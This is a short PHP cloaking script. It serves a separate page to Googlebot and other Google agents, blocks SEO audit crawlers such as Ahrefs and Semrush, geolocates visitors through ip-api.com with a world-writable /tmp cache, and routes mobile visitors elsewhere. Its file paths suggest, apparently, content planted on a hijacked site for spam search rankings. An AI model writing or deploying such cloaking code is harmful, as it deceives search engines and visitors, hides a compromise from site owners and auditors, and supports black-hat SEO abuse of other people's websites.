<?php
$ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];

$is_google_bot = false;
$google_agents = ['Googlebot', 'Google-InspectionTool', 'GooglePageSpeed', 'Google-Site-Verification'];
foreach ($google_agents as $agent) {
    if (stripos($user_agent, $agent) !== false) {
        $is_google_bot = true;
        break;
    }
}

if ($is_google_bot) {
    $file = 'ODL_feb26_hall_ticket/jobs.html';
    if (file_exists($file)) {
        include $file;
    } else {
        http_response_code(500);
        echo "System error.";
    }
    exit;
}

$spam_agents = ['semrush', 'ahrefs', 'majestic', 'rogerbot', 'dotbot', 'mj12bot', 'baiduspider', 'yandexbot'];
foreach ($spam_agents as $agent) {
    if (stripos($user_agent, $agent) !== false) {
        http_response_code(403);
        exit("Access denied.");
    }
}

$is_blocked_country = false;
$blocked = ['JP', 'IN', 'CN', 'RU', 'VN', 'KR', 'CH'];

$cache_dir = '/tmp/.cache_geo/';
if (!is_dir($cache_dir)) {
    mkdir($cache_dir, 0777, true);
}

$cache_file = $cache_dir . md5($ip) . '.cache';
$cache_ttl = 86400; // 24 jam

if (file_exists($cache_file) && (time() - filemtime($cache_file) < $cache_ttl)) {
    $geo = json_decode(file_get_contents($cache_file), true);
    $countryCode = isset($geo['countryCode']) ? $geo['countryCode'] : '';
    $is_blocked_country = in_array($countryCode, $blocked);
} else {
    $geo = @json_decode(file_get_contents("http://ip-api.com/json/" . $ip), true);
    if ($geo && isset($geo['countryCode'])) {
        file_put_contents($cache_file, json_encode($geo));
        $is_blocked_country = in_array($geo['countryCode'], $blocked);
    }
}

$is_mobile = preg_match('/(iphone|ipod|android|blackberry|windows phone)/i', $user_agent);

if ($is_blocked_country) {
    $file = 'ODL_feb26_hall_ticket/jobs.php';
} elseif ($is_mobile) {
    $file = 'mobile/index.html';
} else {
    $file = 'ODL_feb26_hall_ticket/jobs.php';
}

if (file_exists($file)) {
    include $file;
} else {
    http_response_code(500);
    echo "System error.";
}
?>